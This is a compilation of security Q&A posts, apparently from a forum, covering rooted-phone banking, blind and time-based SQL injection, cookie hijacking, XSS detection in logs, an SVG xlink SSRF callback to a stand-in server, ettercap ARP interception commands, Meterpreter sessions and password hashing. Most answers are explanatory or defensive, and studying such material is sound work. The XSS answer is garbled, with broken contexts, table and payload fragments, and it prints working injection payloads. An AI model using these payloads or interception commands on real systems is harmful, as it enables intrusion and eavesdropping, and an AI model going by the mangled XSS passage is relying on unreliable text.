But the thought I have is, is this really any different from using net banking in a browser running on a Windows desktop? I mean, Windows is also "rooted" in the sense that you have the ability to give "root" (administrative) privileges to any app you want?

So in the sense that they are complaining that my phone has the ability to give "root" permissions to apps, isn't this just like using online banking on a desktop OS that also has that ability?

What if I used online banking from a browser app on my phone? Would this be safer than the app?

Would using online banking in a browser app on my phone be any different from doing it on a browser on a Windows desktop? (Both are browsers running under a "rooted" OS.)

It's All About the Security Model

We see reference to "Checking for jailbroken/rooted device" in nearly all Mobile Application Security Checklists (e.g OWASP). When comparing it to desktops or web browsers we have to keep in mind that they have different threat models.
For example on desktop machines when designing an application we already know that there are other applications that have administrator privileges.

To give you an example, the security model for operating systems like Windows or Linux doesn't prevent an application from accessing another application's directories or memory.

Now in mobile context, taking Android as an example, the operating system prevents applications from accessing each others' directories and root privilege bypasses this security control. So by rooting your device you are making a change in your device that may not be foreseen by the application developers and its risks may not be taken into consideration.

Now going back to OWASP's Mobile Security Project (Dangers of Jailbreaking/Rooting), rooting methods are categorized as follows:

Userland Exploits: jailbroken access is only obtained within the user layer. For instance, a user may have root access, but is not able to change the boot process. These exploits can be patched with a firmware update;
iBoot Exploit: jailbroken access to user level and boot process. iBoot exploits can be patched with a firmware update;
Bootrom Exploits: jailbroken access to user level and boot process. Bootrom exploits cannot be patched with a firmware update. Hardware update of bootrom required to patch in such cases;

And the risks are:

General Mobile

  Some jailbreaking methods leave SSH enabled with a well-known default password (e.g., alpine) that attackers can use for Command & Control;
  The entire file system of a jailbroken device is vulnerable to a malicious user inserting or extracting files. This vulnerability is exploited by many malware programs, including Droid Kung Fu, Droid Dream and Ikee. These attacks may also affect unlocked Windows Phone devices, depending on the achieved unlocking level;
  Credentials to sensitive applications, such as banking or corporate applications, can be stolen using key logging, sniffing or other malicious software and then transmitted via the internet connection.

iOS

  Applications on a jailbroken device run as root outside of the iOS sandbox. This can allow applications to access sensitive data contained in other apps or install malicious software negating sandboxing functionality;
  Jailbroken devices can allow a user to install and run self-signed applications. Since the apps do not go through the App Store, Apple does not review them. These apps may contain vulnerable or malicious code that can be used to exploit a device.

Android

  Android users that change the permissions on their device to grant root access to applications increase security exposure to malicious applications and potential application flaws;
  3rd party Android application markets have been identified as hosting malicious applications with remote administrative (RAT) capabilities.

Non-technical Risks

  Software updates cannot be immediately applied because doing so would remove the jailbreak. This leaves the device vulnerable to known, unpatched software vulnerabilities;
  Users can be tricked into downloading malicious software. For example, malware commonly uses the following tactics to trick users into downloading software;
  Apps will often advertise that they provide additional functionality or remove ads from popular apps but also contain malicious code;
  Some apps will not have any malicious code as part of the initial version of the app but subsequent "Updates" will insert malicious code.

One can count countless risks for each platform ranging from web, mobile applications, desktop applications, etc. and comparing these platforms in terms of security is not trivial. It may be highly reliant on specific platforms (Android vs iOS, Windows vs Linux) and also reliant on users behaviors (Having a mobile device with lot's of junk applications vs having a mobile device only with known apps). In each context we try take measures in order to reduce our risks and once a platform becomes too insecure we may stop providing service on it (e.g telephone banking via landline phone or USSD).

Going back to your question about using your mobile phone's web browser vs using mobile banks native application, the risks depend on implementation of mobile banking application and the type of malware that may be present on your mobile phone.


What is this attack? id=1'[0] I'm frequently getting these weird URLs.
https://mywebsite.com/mymage.php?id=1'[0]

The weird part is '[0].
The webpage pass the id to the database and the database expect an integer so we are frequently getting errors.
Is it an attack? If yes, what is it targeting?
Note: It's similar to this question that doesn't have any answer. What type of attack is this? '[0]

It's a way of an attack, called "Blind SQL Injection". Official Documentation from OWASP: https://owasp.org/www-community/attacks/Blind_SQL_Injection

Blind SQL (Structured Query Language) injection is a type of SQL
Injection attack that asks the database true or false questions and
determines the answer based on the applications response. This attack
is often used when the web application is configured to show generic
error messages, but has not mitigated the code that is vulnerable to
SQL injection.


Does signing out of a website ensure no-one can cookie hack? If I click the signout link of a website, does this mean it is not possible for someone to hijack my cookie and sign in with it?

While I'm logged in, is it possible for someone who has access to my computer's hard drive to simply grab the cookie and then sign in?

Does something like Gmail's 2-factor authentication help in any of the above scenarios?

The answer here depends on how the website handles cookie management.  If they're doing things correctly, following the signout link should invalidate the cookie on the server-side and also remove it from the client.

As such if an attacker got access to your PC after that they shouldn't be able to mis-use the cookie, even if they could get access to it.

If you're still logged in and leave your PC, without shutting the browser, it's likely that an attacker could grab the cookie just by using the browser.  If they only have access to your hard drive (eg, over a network), they may be able to get access to the cookie file, but it could be somewhat more tricky to exploit.

two-factor authentication may help in the scenario where someone steals a cookie while you're logged in, but while the session is ongoing it's likely there will be cookies on the machine which will provide access.

The safest bet is to ensure that you log out of all sessions before leaving your computer and also close the browser (a lot of session cookies are removed from the client when the browser is closed)


What are the common features to identify XSS attack from Apache log file? I have tried some XSS vulnerability on web application such as webgoat, OWASP mutillidae, bWAPP. I want to know the features/keywords/footprints of cross site scripting attack in apache log file and from these footprints, it is possible to identify that the XSS attack has been performed. I know that all the types of XSS attacks can't be detected through log file. But, I want whatever possible XSS types of features get stored into log file. I am giving few examples of footprints stored in log file as below,

The footprints in log file are,

1) <script>

2) <img>

3) <iframe>

Are these features (or footprints) correct? May I know any other possible features which get stored in log file in order to identify XSS attack has been performed? I want to write an algorithm further in order to detect XSS through access log file.

There are a couple of things I want to establish first before I give you general advice for spotting common characteristics of cross-site scripting (XSS) probing attempts in your logs.

I am assuming you will be manually inspecting your logs;
Without loss of generality, let's also assume you are able to keep up with the number of entries in your logs. So there are not thousands of requests hitting your server at any given moment.

These points should make it easier for me to describe the process by which you can spot XSS payloads in your logs.

The first issue I would like to tackle is trying to reduce the common characteristics down to a small handful of payloads. XSS is such an immensely large group of attack vectors and scenarios that even renowned security researchers often struggle to agree what term is appropriate to describe a particular type of XSS vulnerability. This can actually be seen in your question, you are trying to reduce XSS down to three specific payloads (

 (" → )
 (" →  < → )
 (</script → <\/script)
 (</script → <\/script)
 (</script → <\/script)
 (</script → <\/script)
 (</script → <\/script)
 (</script → <\/script " → \")

My resulting payload which covers all the contexts above was:

javascript:"/*\"/*`/*' /*</template></textarea></noembed></title></style></script>-->&lt;svg onload=/*

This payload is known as a polyglot; i.e. the payload covers multiple contexts at once. To break out of the first context (

), I had to use double quotes. "><svg onload=alert(1)> alone would have worked in this context.

Next, let's pick the second-to-last case: . To keep things simple, we will ignore the filter that was implemented in the challenge. This is a JavaScript-context and */alert(1)/* would break out of the multi-line comment.

For the last case that we will look at, I would like to include the filter.  (" →  < → ) replaces double quotes and the < character. To bypass this filter, one can simply HTML encode the < character: &lt;img/src=x onerror=alert(1)>. This results in ">. This case did not require breaking out of the context.

Notice how with just three contexts alone I was able to show three very different payloads. So before attempting to use your logs to find XSS payloads, make sure to familiarise yourself with a few common contexts.

+-----------------------------------------------------+----------------------------------+
| Context                                             | Example payload                  |
+-----------------------------------------------------+----------------------------------+
|

                     | "><svg onload=alert(1)>          |
+-----------------------------------------------------+----------------------------------+
|                     | */alert(1)/*                     |
+-----------------------------------------------------+----------------------------------+
|  (" →  < → )` | &lt;img/src=x onerror=alert(1)> |
+-----------------------------------------------------+----------------------------------+

Probing from an attacker's perspective

This section covers how I as an adversary (more precisely, my personal experience as a bug bounty hunter) might go about probing for XSS vulnerabilities in your application and what this would look like in your logs.

Most notable bug bounty hunters that I can think of use a very basic probing vector for manually determining if user-input is reflected anywhere. So we might use something along the lines of '">foobar or '">foobar to quickly gather various endpoints that reflect these payloads. Note that the foobar bit is actually quite important. We want to be able to quickly search for our payload in the source code, so hunters like to use unique strings in their payload. From your perspective, this means we leave a trail of fingerprints that you can follow to see where we are testing for XSS vulnerabilities.

This brings me to the next probing characteristic, you will very rarely see someone testing a single endpoint once and then giving up. If an adversary is scanning or manually testing for XSS vulnerabilities, they will usually be very persistent and you should see a long series of consequent XSS payloads popping up in your logs.

In addition to all of the probing characteristics listed above, there is one last and very important one that must be mentioned, the use of JavaScript methods such as alert, prompt, and confirm. I am sure you have come across these before while reading up about XSS. When testing for XSS vulnerabilities, one might want to get an immediate indication of a vulnerability and the easiest way of doing this is to get a big prompt fire right in front of your face. It becomes immediately obvious that you have an XSS vulnerability when the modal shows up. Also, the rush you get from the payload firing in that way never gets old. :)

You could grep your logs for keywords such as alert, prompt, and confirm. That being said, this is definitely not foolproof since, depending on the context, it may be possible to adjust the payload and mask this keyword — this is commonly seen when attempting to evade web-application firewalls and filters.

The problems with spotting self-XSS and DOM-based payloads

The issue can be quite simply summarised as: The payloads do not always show up in your logs. Take this example of a DOM-based XSS vulnerability:

<!DOCTYPE html>

  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>DOM-based XSS example</title>

When navigating to http://example.com/test.html#javascript:alert(1) the payload should display an alert box, but when I check my logs all I see is the path.

GET /test.html HTTP/1.1

Hopefully, this example better illustrates some of the issues you might face when trying to spot certain XSS payloads in your logs.

The best advice I can give you for tackling this problem is to implement a Content Security Policy (CSP) with the report-to directive. Now whenever the CSP detects a policy violation, it will notify you at the report-to endpoint (see https://report-uri.com/ for a service that logs these errors via the report-to directive). You can also just implement the Content-Security-Policy-Report-Only header if you are only interested in logging errors.

A small idea for getting a feel for manually spotting XSS payloads in your logs

Here is a fun idea that might help you see all of what I have described above in action. Build a small XSS Capture the Flag competition (CTF) and get a group of friends that are security-oriented to try to find the XSS vulnerability in your application. During this time, take a look at your logs. Then do the same thing but with a scanner such as Burp Suite. After a while, you should get a feel for what basic XSS probing (for a certain number of XSS vectors) looks like in your logs.


OpenSSL Certificate Renewal with same keys and NO CSR I have a Linux-based vendor-supplied virtual appliance that uses OpenSSL to manage certificates.  The current server certificate is from Symantec so has to be replaced with a DigiCert.  DigiCert is offering free replacements to existing customers using the same key pair - however, they are not accepting CSR's to do that.  Instead, our DigiCert admin. is providing the replacement certificate as a Base64 .cer file.

All of the articles I have found talk about using a new CSR with the same keys but nothing about this specific case.

So how do I go about using OpenSSL to accept the new .cer file and associate it with the existing private key?  I have all the relevant passwords/passphrases, etc.

So how do I go about using OpenSSL to accept the new .cer file and associate it with the existing private key? I have all the relevant passwords/passphrases, etc.

You don't need to "associate" the new certificate with the existing private key because it already is. The CA simply used the public key in the existing certificate (where your private key is for) for the new certificate. And since the public key is still the same even if the certificate has been changed  the private key is the same too.


Extracting data from db with time based SQL injections SCENARIO:
a vulnerable login form. I say vulnerable because if I enter +select(sleep(0))+ the server response normally. If I enter +select(sleep(5))+ the server wait for a period of time greater than 5" and then responds with "connection failed". Can be this considered a proof of SQL injection?
Could I leverage this  difference in the responses to conditionally extract data from the db?
The high-level idea is:
if user(1,1) is 'a' then sleep(0) else sleep(1)

Does the connection time out at approx. 5 seconds? If so, then it is very likely vulnerable. You could verify by then modifying it to 3 seconds, and seeing if it responds in approx. 3 seconds.
If the connection takes longer than 5 seconds, it is possible this is a very strange SQL query, or there is a WAF or some other functionality detecting blacklisted keywords. They may be throwing you a red herring! It's happened to me before in this exact situation during a manual engagement.


Hardware-based full disk encryption without pre-boot authentication I am looking for a possibility to sanitize large amounts of data on regular hard-drives and SSDs. Instead of overwriting the data several times (on regular hard-drives, which could take days and doesn't "work" on SSDs) I am thinking about using hardware-based FDE and simply performing a cryptographic disc erasure (dropping the encryption key). My main issue is now that, as far as I understand, pre-boot authentication is needed. In my case this is not feasible if the authentication has to be done manually (e.g. disks are used in servers located far away). Is there a well-working, well-adapted possibility to let the BIOS perform the authentication automatically, without any manual input or any other solution? If so, what are the drawbacks? Please note that my only goal is to perform sanitization of data in a cost-effective way.

Disclaimer, my info is old, I haven't tried this in a while.

If the disks support hardware based FDE or Bulk Data Encryption, and you have an integrated lights out or similar capabiltiy on your server, you can try booting to this utility and executing a secure erase.

http://www.fitzenreiter.de/ata/ata_eng.htm

(not free for commercial use, etc.)

If I recall, the capabilities are not accessible after boot time by design.  This makes it harder for malware to kill your disk, or somebody from being able to steal your key or making it easier to bruteforce your harddrive password.

Check the cababilities of your disks in your manuals.   This might not solve your problem, but the site has a lot of information about how this ATA Security Extension stuff works.

Edit:  This has a good discussion about why what you're asking to do may be very difficult:

https://social.technet.microsoft.com/Forums/windows/en-US/01b843c3-3fb7-4c53-b51c-8693be591caf/how-can-i-prevent-windows-xp-sp3-from-sending-ata-security-freeze-lock-command?forum=itproxpsp


Unsigned windows driver After regular Windows update I noticed that my video card's driver had suddenly stopped working. I made a rollback to a previous system backup and took a look at this video cards driver's information:

AMD's driver is not signed. And it is pretty strange. I Googled for a little bit and figured out that this type of video card is obsolete, but mustn't it always have a signature regardless?

To me, it looks like a faked driver which may being used to turn into a rootkit.

Sorry that the screenshot is in Russian, but it should not interfere with understanding the point

Unsigned device drivers used to be extremely common in the XP-Vista-partially 7 days. Obtaining a Microsoft WHDL driver signature comes with a monetary and time cost, so hardware companies releasing frequent updates used to sometimes ignore it and rely on the user to click through. This includes AMD.

Driver signatures are only enforced on new OS installed after July 26, 2016: https://blogs.msdn.microsoft.com/windows_hardware_certification/2016/07/26/driver-signing-changes-in-windows-10-version-1607/

The driver in question predates this policy, so the developer didn't have to have it signed.

The general case for such drivers is not to be malicious, unless later modified by malware. The most reasonable thing to do in such a situation is to uninstall the current driver, do a malware check just in case, download the latest drivers from AMD, and install them.


How to airgap a smartphone? I'm looking to use my smartphone purely as a portable computer, with no network functionality, in order to protect my privacy.

Is removing the SIM cards from it enough to airgap it? Or do I need to go further?
If removing the SIM cards doesn't guarantee it, would it be possible to remove the antennae? I imagine without those the signals would be far too weak to permit any kind of communication at all.

You're trying to take away communications capabilities from a tool designed to communicate.  It's probably not the best choice of devices.

You can start by setting the phone into "airplane mode", which is intended to shut off the radios.  Because of the way RF works, that means it shuts off both transmitting and receiving.  It should keep you safe, but of course, you could accidentally enable it again.

You need to take a survey of the RF that the phone is designed to communicate on.  Obviously it has cell communications, but it may also have Wi-Fi, Bluetooth, and NFC.  If you disable the cell antenna you won't stop the other communications channels.  You'll have to also remove the hardware that supports the other technologies, and do so without damaging the phone.  (For example, a Bluetooth or Wi-Fi antenna is a very tiny element on the circuit board.)


Meterpreter detach command In a meterpreter reverse_https session when I use the detach command it closes my current session and then creates another, what it is the purpose of this?

The payload will keep trying to connect back until SessionExpirationTimeout is hit. Default is one week.

Details here.

  The payload has a hard-coded expiration date stamped into it during
  the initial staging process. By default, this is one week from the
  current date (relative to the target). This prevents a forgotten
  session from connecting back indefinitely. You can control this
  setting through the SessionExpirationTimeout advanced option.

  To avoid shutting down the payload but still exit the temporary
  session, use the detach command from the Meterpreter prompt

  Setting [SessionExpirationTimeout] option to 0 and detaching the session will instruct the
  payload to keep reaching out until the SessionCommunicationTimeout is
  hit or the process is killed.


Can OpenVPN monitor my passwords in my browser? I want to know if I run OpenVPN when I want to log in to websites (like Gmail etc.....) is my username/password in danger? Can they monitor saved passwords in my browser or anything else?
I'm new to these things. Is there any security danger with OpenVPN for, for example, personal files?

It depends on who manages the OpenVPN server.

A VPN allows you to connect your computer to a remote network in a secure way: the traffic between your computer and that network is encrypted. This protects you from the intermediate networks (including the local one, on which you plugged in your computer) from seeing your traffic (they see a stream of encrypted data).

If you installed the remote OpenVPN server and manage the service then you would be only vulnerable to a backdoor implemented in the software you downloaded. If you downloaded it from the original OpenVPN web site then you are OK.
If someone runs the OpenVPN server for you then it is a matter of trust. They could install whatever they want to spy on your connection.  This also includes the case where the server is be installed on an appliance you receive as part of your Internet subscription (the French provider Free would be an example).

Please note however that most of the well known sites are now HTTPS, which means that the traffic is encrypted between your browser and the target site. This is in addition to the VPN tunnel. In other words, someone spying on your traffic within the VPN will still see encrypted traffic, because of HTTPS (which is completely independent on the VPN tunnel).

To summarize: running a VPN connection to a trusted site is a good idea. Even though you are protected by HTTPS when browsing specific sites, a VPN completely hides the traffic for the local network (and, usually less importantly, for the intermediate ones):

someone looking your traffic will only see one connection to the VPN server without any details
your computer does nor expose any services locally (which may be vulnerable)


Securing information on password attempts Let us say I am creating a program that works offline so password information needs to be stored locally (I know, not optimal, but this is just a personal project of mine). In terms of keeping the password itself secure, I figured I could utilize a KDF such as PBKDF2 or scrypt to derive two keys from the password, one for authentication and another for encryption/decryption to keep the sensitive information inside the program itself safe.

Now let's say I wanted to add an additional feature that the user could limit the attempts at the password such that exceeding these limits would lock a potential attacker out of the program for some period time. My question would be how to keep information such as the number of attempts made at the password secure? For example, the program will log the number of attempts made in a file so that if a potential attacker was to close and reopen the program, the number of attempts already made was saved. What would be a method I could employ to secure this log such that an attacker wouldn't be able to go in and change the logged number of attempts to say 0 and go on for an unlimited number of attempts?

You're on a hostile device (a user's computer), so have to assume that they can manipulate your code. Therefore, you can't limit in that way: you can ensure that the passwords used are long enough to withstand brute force attempts (e.g. a SHA-256 hash would mean that an attacker would need to try millions of attempts per second in order to be sure of decrypting the data within the lifetime of the universe, assuming perfect implementation of encryption), you can attempt to detect multiple attempts, or you can try and obfuscate the number of tries, but there will always be ways for an attacker to bypass these.

For example, if an attacker ran your software in a VM, they could restore to a snapshot taken before a password attempt when your restriction kicked in.

In order to defeat that, you'd need to control the decryption layer, on a device you control - potentially an internet based service, which returns either decrypted data, or a failure message. You can't just return the correct password, since that would imply that there is some local element where a password can be entered. You can't confirm the password as being correct, for the same reason.

An alternative to an internet based service would be a hardware device which is plugged into the computer of the user, and which acts in the same way: upon a correct password, it returns the encrypted data, else it increments a failure counter and rejects further attempts when this reaches a specific level. This device would need to be tamper-proof - it's no good if you can open it up and read the memory directly. This is essentially the method Apple use with the iPhone, where the separate device is built into the phone, but with very limited interaction with the rest of the system.


How ethical is it to publish an (anonymous) password list from real sources I'm currently doing security research on the dangers of using default or well known 'secrets' for applications.

To test how big of an issue this actually is, I decided to download local copies of the 'large' stack-exchange websites and wrote some scripts that went through the data to extract strings which match a specific pattern.

This yielded around 15k possible unique secrets so far (it's still running, as of writing, I don't have the strongest computer, I also did this for some few thousand files on GitHub, leading to even more results). Which leaves me with the following question:

  How ethical is it to publish such a list on the internet, alongside a tool which lets you test (locally) if your application is prone to such an attack, using said wordlist?

I've seen lots of wordlists published online, there's even entire dedicated GitHub repositories to this. If I were to publish the wordlist, it wouldn't have any personal information attached to it, but I'm still not entirely sure how ethical it would be.

Lists of known-compromised secrets are very valuable to people who are trying to make systems more secure, especially for things like passwords or password-equivalent credentials. Consider Troy Hunt's excellent "Pwned Passwords" page, which is built using a massive corpus of compromised passwords (and you can download it, if you want to, and also download software to set up a password-check service that doesn't send any info at all to a third party).

In addition to helping users test their own secrets, systems like this are valuable for those who want to establish secure authentication systems, because such systems should reject credentials known to have been used elsewhere (and especially if they are known to have been exposed publicly). The latest NIST guidelines actually specifically suggest checking candidate secrets against ones known to be compromised, so having such lists of compromised secrets is essential to following the guidelines!


How does Password reset key work ? I mean, this looks like a really handy tool for every IT guy out there. But to me, it seems like it does not do anything really hard other than just simplyfing something you can do yourself.

So what exactly does it do and how could you do it manually ?

There is a registry key in the SAM database on Windows computers that contains the hash for each password of the local accounts.  The usb drive are bootable, so an admin could boot from that key, it will then mount the system volume, and overwrite the key for the administrator's password.  It will use a hash that matches a "blank" or "no password" for that account.


Client Fingerprinting Resistant Protocols It's well known that web clients are easy to fingerprint, and you can see that the same is true for other protocols like email and BitTorrent. This begs the question: which protocols aren't easy to fingerprint? Specifically, protocols possessing multiple client implementations (e.g. not freenet) that support upload and download functionality necessary to build an anonymous service.

Fingerprinting of clients is not caused by the protocol itself, but by distinguishing different implementations of the protocol and by using features outside the application protocol. For example fingerprinting a web client can be roughly done based on the HTTP request headers since the HTTP standard allows a wide variety of implementations. But more granular fingerprinting is actually done outside of the HTTP protocol, by interacting with the browser using Javascript.
Thus, the protocol most resistent to fingerprinting is a protocol with a very strict definition and no useless flexibility (like order of headers, case of headers etc). This can be best achieved with a very minimal single-purpose protocol. It can also be achieved with a single protocol implementation shared by all clients.
But this contradicts the usual approach or having extensible protocols and adding features later. Once this is done the clients can be fingerprinted by the features they support and by specific ways the interpret a weakly defined protocol standard. And this ignores features outside the actual protocol, like specific timing, OS specific differences etc.


Help me find a lightweight threat modeling framework We're a small company and we do not have resources that we can dedicate to heavyweight threat modeling. However, if we could find a threat modeling framework that was pretty lightweight I think there is value in documenting the data flows and vulnerabilities that surface from the exercise.

I have looked most closely at STRIDE but when it comes to the data flow diagrams (DFDs) I get stuck - perhaps because the application(s) are already built and I seem to include minutiae that probably doesn't belong.

I also found Threat Modeling Express but it won't be easy to get development's time to assist in the exercise.

Ideally it is something that can be worked on piecemeal by one person. Although I understand the value in having different viewpoints it just probably isn't realistic at this point in time as everyone is busy.

Since the application is built is there still value in threat modeling? Should I just point w3af or nikto at my apps periodically and remediate any vulnerabilities?

In short, what is the best bang for the buck for a small company in terms of discovering threats? What model or framework will yield actionable results with a modest investment of resources?

TIA

Threat Modeling is really a skill, based on experience, after learning what works and what doesn't.
I don't think a choice of framework will make things much easier for you, you will still have the same issues and difficulties that you have now.
On the contrary, I would recommend STRIDE-per-element as the better place to start, and later add in additional techniques as appropriate.
It's probably more likely that you just need some pointers on how to do threat modeling efficiently, simply changing the methodology would not be your silver bullet.
My recommendations:

Go through an entire threat modeling exercise first with someone experienced, who knows how to do it - that is really the best way to learn, by doing. Even if this means getting an external consultant for a few hours.
One of the reasons that DFDs are recommended, is because these often already exist. Try and find out if anyone has these, or even something similar.
Another reason for DFDs, is because they can be relatively simple. If you say that you get stuck on minutiae, then zoom out, and keep the DFD at layer 0 or layer 1, only occasionally digging down into layer 2 as needed - but no more than that.
Remember, you want to focus on the high-level overview, flows between modules and across trust boundaries. You should never have to drill into the implementation (though involving developers/architects that understand how it works, can you help you discover interesting points that do require additional mapping.) Don't get carried away in the details!
Microsoft has two different tools to help with Threat Modeling, TAM and SDL TM. These are based on different outlooks and sub-methodologies, one of them works as a "wizard"-ish-like app. I much prefer SDL TM.
Consider focusing a TM on one module/section of the application at a time, instead of trying to grab all of it at once.
Remember that during TM, you're not looking for solutions. That can quickly sidetrack any TM effort.
Ideally, you'd have the viewpoints and input from all the stakeholders (architecture/product management/development/QA/operations....), but realistically, in many orgs that's not possible - instead, try to focus small bites of time with representatives from each, and pose specific questions that will help flesh out your model. If there was no DFD or other diagram, and you built it yourself - get their feedback on it, often they will be thanking you just for providing them with that.

Some additional thoughts on TM, as per your extra questions at the end:
Simply pointing a proper web app scanner at your servers will definitely be easier. However, I believe TM would be much more effective, and in the long term would be more efficient too (for numerous reasons, different topic though).
Even though the app already exists, it's still worthwhile to go back and analyze it - some things will be easier (less guesswork), some things may not pan out, but you can discover what types of flaws are interesting. That is what can help you go back and fix specific issues, not just the technicalities which do not apply to your business. And worst case - all it will do is help you focus your testing efforts in areas that are more "interesting", instead of mass-testing the entire system.

Some links I have found helpful in the past when teaching others how to do TM:

Guerrilla Threat Modelling
Microsoft's Patterns&Practices: Threat Modeling Web Applications (The entire book is marked as outdated, but that section is still relevant).
Threat Models Improve Your Security Process (Michael Howard)
MS' Larry Osterman's definitive multi-part TM guidance (first part starts here)


How to exploit SVG xlink-based SSRF First, let me summarize how the SSRF works:

1) You setup an SVG image with a reference to your server via xlink. Here's an example that works:

<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="http://EXAMPLE_SERVER/" /></svg>

2) You upload the image as your profile picture

3) EXAMPLE_SERVER receives the following HTTP request from the server that the image is uploaded to:

GET / HTTP/1.0
Host: EXAMPLE_SERVER
Accept-Encoding: gzip

So all I have been able to confirm is that this is indeed SSRF, as the request is coming from the server, not from my client side. However I'm not very skilled in this area, and I don't understand how to actually exploit this.

So how do I use this to enumerate files or perform any actions that will actually make it a valid vulnerability?
I do believe an is-image-present oracle could be set up, but the server I am testing doesn’t have any images on it, so this wouldn’t be a problem.

If you know/guess the server file system information then you can try loading local system image file by giving file path in

  xlink:href="localPathOfImage"

As this is SVG file then you can try checking XXE, Billions Laugh attack etc


Sending data securely from a microcontroller to a server I wish to transfer data securely from an arduino (a microcontroller) to a server.

The obvious solution is probably to use TLS, but arduino does not have the capability to run it.

I did not find any other lightweight implementations either that could run on an arduino with the the needed features (encryption and authentication).

However, I have found implementations of both AES128-CBC and HMAC-SHA256 that can run on an arduino. I would like to use these algorithms.

The problem is that AES requires an initialization vector. This is hard to achieve using a microcontroller and I do not wish to string up some hardware random number generator.

Enter the danger zone:

Ask the server to generate one for me.

Assuming there are two keys that both the arduino and the server have in memory:

Send some sort of HELLO SERVER packet to the server
The server generates a random initialization vector using /dev/random,
appends a HMAC-SHA256 hash to it, and sends it back to the arduino.
The arduino verifies the received IV with the HMAC-SHA256 hash.
The arduino encrypts the plaintext using AES128-CBC (with the IV it received) and then runs it through HMAC-SHA256,
appending the resulting hash to the ciphertext.
Arduino sends the result to the server
The server verifies the HMAC and then decrypts the ciphertext using the IV it remembers.

Does this sound viable at all?

Would I need to use two unique pre-shared keys? One for AES and the other for HMAC? Does using one key only make the security of AES dependent on SHA256?

Are there other ways to achieve what I want without additional hardware?

Disclaimer: This is just for fun learning purposes: my temperature data isn't that sensitive.

Your idea of offloading IV generation to the server seems logical and fine. There are just a few things that I would like to add to make it more secure.

General rule of thumb is to use different keys for hashing and encryption.
What will you do if the keys used for HMAC/AES are compromised? Unfortunately, I don't have any easy to maintain/implement solution to that problem yet.
In the current scheme, someone can replay the HELLO SERVER packet and keep generating random IVs from your server. You can protect against it by encrypting your HELLO SERVER message by a fixed AES key and sending a timestamp in your packet.
You can maintain a timestamp/nonce in all of the messages to ensure nobody replays your temperature values/IVs. This will require your client and server to have a sliding window implementation for replay detection.
One possible optimization can be that the server generates a AES key and an IV on the client registration time. This will ensure that even if your key is leaked, the Arduino devices that are already registered are not affected.

For all of the above  points, consider the tradeoffs of security/developer time and then make a decision.


How to implement token based api for rest api in java? I am working on a project, and I came here in this moment, where I now need authorization. I am using Apache Shiro for my web interface, but as long as mobile web-apps are concerned, I hardly think basic username:password auth will hold. And, the documentation of Shiro doesn't say much  about tokens. Therefore, as the alternative, I am thinking to implement token.

I came upon few ideas.

1.To use Oauth, but it sounds too complicated.

2.To use JWT. This sounds fascinating.

So, after some research, and based upon ease of use, I opted to use JWT. But, I came across some questions.

While reading online, I saw Authorization header decorated with "Bearer ". What does Bearer do? As far as I have understood, "Bearer has something to do with Oauth, as googling Bearer mostly comes with "Oauth" on it.
However, I decided to put this header to the response, "Authorization" : "Bearer ".
Now what, how will jax-rs figure out itself. Do I need to implement my own methods to deal with authorization, or there are some filters or frameworks that deals with all these so I can focus on what I can do.

Bearer means that possessing the token (ie: being the bearer of the token) is sufficient to be authorized. You don't need to prove you hold a private key or something else.


Strategy for updating stored passwords to more secure hash? I know that we cannot update our hashed passwords without having the plain text password to re-hash. When a member logs in with login/password, we have the plain text, so that gives us an opportunity to more securely hash and store the member password.

Does anyone have experience with asking your members to "please come to our site and log in with your real password" without causing mass panic? Any way that I can think of to convey the request sounds like we have had a data breach. We are simply looking at ways to upgrade our security, and Ashley Madison makes it clear that hashed passwords are a point to carefully consider.

I don't see a reason why it should be problematic to take the existing hashes, take them as input for a more secure hash function and migrate all existing users at once. Extensive discussion on the approach can be found here. You will have to store both old and new salts, of course.

In combination with a good password policy (force your users to change passwords after a reasonable period) you can slowly phase out the 'legacy' passwords.


Does moving Root CA server require reissue and reinstall all server certificate? In our environment we have three type of machines: Root CA (Microsoft CA), web servers and user PCs.

We need to move our Root CA to another site, there are many guidelines on how to migrate Root CA by backup and restore it. But do I need to reissue all certificates on web servers since the FQDN and IP address of the Root CA will change as well? Or simply CNAME the old FQDN to new host name and IP will do the trick? I would assume as long as user PCs could reach Root CA via old or new FQDN, it should work, am I correct?

**We only have one Root CA server and nothing else, all certificates work are done on this host only.

No, you don't have to reissue certificates. Be sure that you are using official ADCS migration guide to move CA server to another host. Take extra attention to Verifying certificate extensions on the destination CA section.


bWAPP- SQL injection Hack displays a white screen? I've been following this video(https://www.youtube.com/watch?v=XDCZ8FC856s) to install bWAPP on Parrot OS and everything works fine except SQL Injection. I've checked the database and its active. As you can see:

And when I select SQL Injection(GET/Search) it just displays a blank white screen.

I've checked for answers in a couple of places but haven't found a robust answer. Any help would be awesome thanks.

Browser: Firefox Quantum 60.0.1(64-bit) OS: Parrot( I also tried the same on Kali)

This application is extremely outdated, not only about its contents but also about the way it is distributed.

It is using a PHP extension that is now extinct, which will cause a fatal error in any recent PHP version. Which is the most probable cause for the white screen you are getting. But it has another reason - the error reporting settings. In order to see error messages on-screen you must configure PHP accordingly or check for the error message in the error log.

I've got an article on PHP error reporting where you can learn about these options in detail.

Another problem with this bWAPP stuff is the ancient way it is distributed. If only it was on Github, it would have been very easy to fix the code, but alas, you have to do it manually in your version.


How to capture wireless data from an intruder using a home router After my house mate experienced consistent ping spikes whilst gaming, he asked me to check/set the wireless router password. I did and I found two intruders from obviously nearby. How can the data they send to my wireless router be captured for analysis?

If you're on a Linux machine, install ettercap and wireshark.

First, find out your netmask (should be 255.255.255.0 for a normal home network). You can do this with ifconfig wlan0|grep Mask|sed s/^.*Mask://)

Then, run:

sudo ettercap -T -M -i wlan0 ARP // // -n 255.255.255.0

If you know the IP of the intruders, you can put it between the first slashes:

sudo ettercap -T -M -i wlan0 ARP /192.168.1.101,192.168.1.102/ // -n 255.255.255.0

(replacing 255.255.255.0 with your netmask)

You may have to wait a bit for it to load. In the meantime, open Wireshark:

Open a new terminal and run gksudo wireshark&. Use the second (wrench) button in the Wireshark menu, set the network interface to wlan0, and start the capture. You should be able to see all the packets in the network (unless you filtered by source IP in ettercap).


What information can be leaked via unencrypted STUN transmission? I am brand new to WebRTC and am trying to wrap my head around what the STUN protocol exactly does and the risks of data leakage on an unencrypted transmission.

From my understanding, the STUN protocol helps programs sitting behind NATs find each other. Once they have found each other, then these programs communicate via UDP.

